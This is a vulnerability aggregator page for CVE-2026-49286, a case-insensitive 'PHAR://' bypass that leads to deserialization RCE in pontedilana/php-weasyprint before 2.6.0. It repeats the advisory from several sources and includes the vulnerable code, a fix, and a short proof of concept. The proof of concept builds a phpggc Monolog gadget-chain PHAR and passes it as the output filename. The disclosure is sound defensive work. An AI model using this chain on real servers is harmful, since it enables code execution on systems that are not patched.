CVE-2026-49286
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.
- Record
CVE-2026-49286- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2026-38053
8.1
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.
- Record
EUVD-2026-38053- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2fmj-p74r-3wjm
8.1
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary
pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist:
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.
The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj).
Affected versions
pontedilana/php-weasyprint versions <= 2.5.1 (the case-sensitive guard was introduced in commit eb8accc, "Implement countermeasures for CVE-2023-28115").
Patched in: 2.6.0.
Privilege required
A caller able to control the output filename passed to generate() / generateFromHtml(), plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8.
Vulnerable code
src/AbstractGenerator.php, prepareOutput():
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
strpos($filename, 'phar://') matches only the exact lowercase string, while the wrapper resolution is case-insensitive — PHAR://payload.phar is not caught.
Proof of concept
# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
<?php
use Pontedilana\PhpWeasyPrint\Pdf;
$pdf = new Pdf('/usr/local/bin/weasyprint');
// Case-altered wrapper bypasses the lowercase 'phar://' blacklist
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created
Impact
- Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.
CWE-502 (Deserialization of Untrusted Data).
Suggested fix
Replace the case-sensitive blacklist with a scheme allow-list (file / no scheme), comparing the lowercased scheme parsed from the filename:
protected const ALLOWED_PROTOCOLS = ['file'];
protected function isProtocolAllowed(string $filename): bool
{
if (false === $parsed = \parse_url($filename)) {
throw new \InvalidArgumentException('The filename is not valid.');
}
$protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file';
// ...special-case Windows drive letters (C:\...) as 'file'...
return \in_array($protocol, self::ALLOWED_PROTOCOLS, true);
}
prepareOutput() then rejects any non-file scheme (phar, PHAR, php, http, ...) before file_exists() is reached.
Credit
Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv (GHSA-92rv-4j2h-8mjj); identified as applicable to pontedilana/php-weasyprint, which mirrors the same code.
- Record
GHSA-2fmj-p74r-3wjm- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.1
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.
- Record
CVE-2026-49286- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.1
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.
- Record
CVE-2026-49286- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-2fmj-p74r-3wjm
8.1
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary
pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist:
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.
The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj).
Affected versions
pontedilana/php-weasyprint versions <= 2.5.1 (the case-sensitive guard was introduced in commit eb8accc, "Implement countermeasures for CVE-2023-28115").
Patched in: 2.6.0.
Privilege required
A caller able to control the output filename passed to generate() / generateFromHtml(), plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8.
Vulnerable code
src/AbstractGenerator.php, prepareOutput():
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
strpos($filename, 'phar://') matches only the exact lowercase string, while the wrapper resolution is case-insensitive — PHAR://payload.phar is not caught.
Proof of concept
# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
<?php
use Pontedilana\PhpWeasyPrint\Pdf;
$pdf = new Pdf('/usr/local/bin/weasyprint');
// Case-altered wrapper bypasses the lowercase 'phar://' blacklist
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created
Impact
- Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.
CWE-502 (Deserialization of Untrusted Data).
Suggested fix
Replace the case-sensitive blacklist with a scheme allow-list (file / no scheme), comparing the lowercased scheme parsed from the filename:
protected const ALLOWED_PROTOCOLS = ['file'];
protected function isProtocolAllowed(string $filename): bool
{
if (false === $parsed = \parse_url($filename)) {
throw new \InvalidArgumentException('The filename is not valid.');
}
$protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file';
// ...special-case Windows drive letters (C:\...) as 'file'...
return \in_array($protocol, self::ALLOWED_PROTOCOLS, true);
}
prepareOutput() then rejects any non-file scheme (phar, PHAR, php, http, ...) before file_exists() is reached.
Credit
Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv (GHSA-92rv-4j2h-8mjj); identified as applicable to pontedilana/php-weasyprint, which mirrors the same code.
- Record
GHSA-2fmj-p74r-3wjm- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pontedilana/php-weasyprintPackagist |
through 2.5.1 | 2.6.0 |
pontedilana/php-weasyprintPackagist |
before 2.6.0, plus listed versions 0.10.00.10.10.11.00.12.00.13.0 Show 16 moreShow less0.9.01.0.01.0.11.1.01.1.11.2.01.3.01.4.01.5.02.0.02.1.02.2.02.3.02.4.02.5.02.5.1 |
2.6.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-49286 is a high vulnerability (CVSS 8.1) in Pontedilana Php-weasyprint, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.73%, the 54th percentile. Fixed in pontedilana/php-weasyprint 2.6.0.
References
github.com/pontedilana/php-weasyprint/security/advisories/GHSA-2fmj-p74r-3wjm
github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj
github.com/pontedilana/php-weasyprint/commit/d1aa487722b5a3cab9b222b85fdb5608a5a550c3
github.com/pontedilana/php-weasyprint/releases/tag/2.6.0
nvd.nist.gov/vuln/detail/CVE-2026-49286
github.com/advisories/GHSA-2fmj-p74r-3wjm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49286.json
github.com/pontedilana/php-weasyprint